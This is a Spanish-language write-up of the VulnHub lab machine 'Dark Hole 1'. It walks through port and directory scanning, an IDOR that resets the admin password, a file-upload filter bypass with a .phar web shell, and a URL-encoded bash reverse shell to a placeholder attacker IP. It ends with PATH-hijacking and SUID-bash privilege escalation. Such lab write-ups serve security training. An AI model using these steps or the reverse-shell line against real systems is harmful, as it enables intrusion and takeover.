> For the complete documentation index, see [llms.txt](https://emeges.gitbook.io/emeges/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emeges.gitbook.io/emeges/vulnhub/dark-hole-1.md).

# Dark Hole 1

En esta  ocasión haremos la maquina Dark hole 1 de la plataforma Vulnhub de dificultad facil , la cual es fue divertida porque se toca varias vulnerabilidades.

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FzPygln3nxDWDX1nyR73r%2Findex.png?alt=media&amp;token=bc76d2a5-c1d9-4e06-b3c8-3ec8e783fb9e" alt=""><figcaption></figcaption></figure>

## Reconocimiento

\
Lanzamos un reconocimiento de puertos disponibles con `nmap -sS --min-rate 5000 -p- -Pn -n -oG allports`\
`donde :`

* `-sS` envía paquetes SYN para iniciar una conexión TCP, pero no completa el handshake, lo que lo hace más sigiloso y rápido para detectar puertos abiertos.
* \--min-rate 5000  Establece una tasa mínima de envio de 5000 paquetes por segundo ,    acelerando el escaneo , aunque en un entorno real aumenta la posibilidad de ser detectado.
* -p-  Hace escaneo a todos los puertos (65535)
* -Pn Indica a nmap que no realice ping previo para detectar si el host está activo.
* -n Evita la resolución DNS, es decir no intenta traducir las Ips a nombre de dominio , además acelera el escaneo.
* -oG Guarda el resultado en formato grepable

  &#x20;

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FLm4X78wiGPgeBsyAPPkf%2FallPorts.png?alt=media&amp;token=47a7d131-0c57-4b91-aee0-fb7ca3831b5b" alt=""><figcaption></figcaption></figure>

* `22 SSH` 8.2
* `80 http 2.4.41`\
  &#x20;

Ejecutamos una busqueda de directorios dentro de la web con gobuster\
`gobuster dir -u http://192.168.1.141/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 20 -x txt,php,html -o gobuster`

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FiXL5H7CrtvcDsfYb1N8Q%2Fgobuster.png?alt=media&amp;token=db3742f8-9e01-491a-9d11-30c03de87902" alt=""><figcaption></figcaption></figure>

donde&#x20;

* dir especifica busqueda de directorio
* -u parametro para poner la url victima
* -w ruta de la wordlist para que haga la búsqueda
* -t 20 que vaya a 20 hilos
* -x que haga busqueda de archivo (txt,php,html
* -o guardar el output

***

### Explotación

Creamos un usuario y podemos ver lo siguiente

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2F9jmpVGVvrntnrvZU7m2W%2Floginnotadmin.png?alt=media&amp;token=35f1e0c7-7096-45e8-818b-4a38a4ae07d0" alt=""><figcaption></figcaption></figure>

Al crear usuario  notamos que en el browser tenemos un parametro `id=3` , podriamos deducir que el id 1 podría ser el usuario admin, entonces, usariamos la herramienta **Burp suite**  para interceptar la petición y cambiar el id para cambiar la contraseña

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FJJIqzzSKcUvxWJWdXk6I%2Fburp_password.png?alt=media&amp;token=c170ecbc-3c3b-42c0-90aa-3eb6737f26c4" alt=""><figcaption></figcaption></figure>

Aqui vemos que para cambiar la  password , se envía por POST los parámetros password=admin\&id=1  cambiamos el parámetro id y vemos que la contraseña se ha actualizado.&#x20;

***

Una vez cambiada la contraseña del usuario **admin**  intentamos logearnos y encontramos que \
podemos subir archivos\
&#x20;​&#x20;

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FoOx5mBaZQGUbywwJUoLa%2Flogin_detail.png?alt=media&amp;token=03ee1922-e9c5-442f-add7-31a601e10ba4" alt=""><figcaption></figcaption></figure>

Intentamos subir el siguiente archivo para poder lanzar comandos desde el browser

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FCgtj1m4s8XiRbSEIKDMa%2Fcmd_upload.png?alt=media&amp;token=c8467b58-1ae4-483c-b9f5-a7c06d227466" alt=""><figcaption></figcaption></figure>

Intentamos subir nuestro **cmd.php** y nos lanza error que solo archivos **jpg,png y gif** son permitidos&#x20;

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FDVThy1RaqdM5OJ6Iv1U2%2Fupload_restr.png?alt=media&amp;token=d0db2008-6384-43fa-b9a7-37162a7488dd" alt=""><figcaption></figcaption></figure>

Entonces vamos a ver si podemos  interceptar con **Burp Suite** la subida para intentar bypassear la restricción&#x20;

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2Fma8QPWF2vW9cG2K2Iu8A%2Fbypass_fileupload.png?alt=media&amp;token=e10b9162-e065-4cfa-85c6-9fade0329a98" alt=""><figcaption></figcaption></figure>

> El tipo de validación se da gracias a los magic numbers , son los primeros bites de un archivo , es la forma en la que la maquina sabe que tipo de archivo es, por eso se valida los primeros . En algunos casos con solo cambiar el **content-type: image/jpg** y añadiendo que tipo de archivo es como por ejemplo `GIF8;`

En muchos casos se sanitiza que no se pueda utilizar extension .php , pero también existe .php2, php3, phtml , esto es prueba y error  hasta que acepte la subida, otro dato es que luego el browser interprete  el cmd, en este caso el exitoso fue la extensión **.phar**

En la fase de reconocimiento con gobuster, habíamos encontrado la  ruta **/upload/** vemos que fue exitoso la subida&#x20;

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FcYSn4Jxu2idLR8MEdxKT%2Ffilegif_upload.png?alt=media&amp;token=2aa3de36-c6f6-4d5b-b96a-1f1ed3311bf5" alt=""><figcaption></figcaption></figure>

Intentamos realizar un reverse shell con url encoded  para poder conectarlos a la máquina victima \
`bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F`<mark style="color:$danger;">`NUMEROIP`</mark>`%2F`<mark style="color:$danger;">`4444`</mark>`%200%3E%261'`

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FezetCUGibWuXSTdar3m7%2Freverse_browser.png?alt=media&amp;token=2da8ac54-2282-4b0c-8edd-0722f5245e91" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FuvaVkWh4xK7VUaDyGPa9%2Finside.png?alt=media&amp;token=2450d6c9-da70-4b96-a5c3-8e9f6abb2059" alt=""><figcaption></figcaption></figure>

### Escalada de privilegio

Una vez dentro , la misión es escalar privilegio  y llegar hasta el superusuario **(root)** lanzamos

`find / -perm -4000 2>/dev/null`&#x20;

Aquí estamos buscando en toda la máquina ( **/** )  permiso (**-perm)**  SUID (**-4000**) y los errores que no nos aparezca en el output  ( **2>/dev/null** )

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2Fzx6djl8ySe5xKQe38Gsv%2Fperm_suid.png?alt=media&amp;token=c8253704-713e-414d-aa78-3ed1c6c36029" alt=""><figcaption></figcaption></figure>

Ejecutamos el binario y vemos que lanza  un  **id**&#x20;

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FIloe8YLGvNycnA62oAZP%2Ftoto.png?alt=media&amp;token=d4f6f6ce-d221-43fe-91d7-57578302f9b3" alt=""><figcaption></figcaption></figure>

Entonces intentaremos "secuestrar" el comando mediante la manipulación del PATH.El Path es una variable de entorno que define las rutas  de búsquedas para los archivos ejecutables en el sistema.\
En algunos binarios compilados, algunos de los comandos definidos internamente pueden ser indicados con una **ruta relativa en lugar de una ruta absoluta**. Esto significa que el binario busca los archivos ejecutables en las rutas especificadas en el PATH, en lugar de utilizar la ruta absoluta del archivo ejecutable. Esta explotación se llama <mark style="color:yellow;">**Path Hijacking**</mark>**.**

Vamos a la carpeta /tmp/ y creamos nuestro binario  llamado id , es necesario que se llame igual que el binario que queremos secuestrar  y darle permisos con `chmod +x id`

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2F9sjiJ8sAJwKxiSLj9R6T%2Fid.png?alt=media&amp;token=3c041069-2f1f-4e52-a42c-2b3c4480f93c" alt=""><figcaption></figcaption></figure>

Ya tenemos el primer paso del secuestro de binario , ahora queda poner en el path , la ruta que esta nuestro binario modificado  `export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin`

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2Fi6yz6aNhSQW5xtJ0uKyx%2Fpath.png?alt=media&amp;token=049b158c-25a4-4452-b1bb-ca6fb34cb48c" alt=""><figcaption></figcaption></figure>

ejecutamos el comando y logramos escalar de usuario con **john**

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FP2EkpCo8Vm63cM5FiF0i%2Fjohn_esc.png?alt=media&amp;token=c569c731-0b92-4890-9482-91d7e1f05900" alt=""><figcaption></figcaption></figure>

Ahora con usuario John nos fijamos que scripts podemos ejecutar como root  con sudo -l , pero necesitamos la contraseña del usuario john , en /home/john/password vemos que hay una contraseña que tiene el contenido "**root123**"

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FUjBr0whBXOCFf9VnT7av%2Fsudo_l.png?alt=media&amp;token=3952a137-a000-4ce2-86a8-353ca11afd36" alt=""><figcaption></figcaption></figure>

```
import os
os.system(chmod u+s /bin/bash")
```

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2Felc0HAPrXJlJLv6O8kmk%2Fbinbash.png?alt=media&amp;token=38a24c5f-2eac-4ddf-9669-212fbaf610ac" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2840659045-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwJReu2GEsedonaw2K23F%2Fuploads%2FAyh3FlQtM7eKiPvdAYlD%2Fbashp.png?alt=media&amp;token=3e445172-a26f-498d-8fe1-130258fb253e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://emeges.gitbook.io/emeges/vulnhub/dark-hole-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
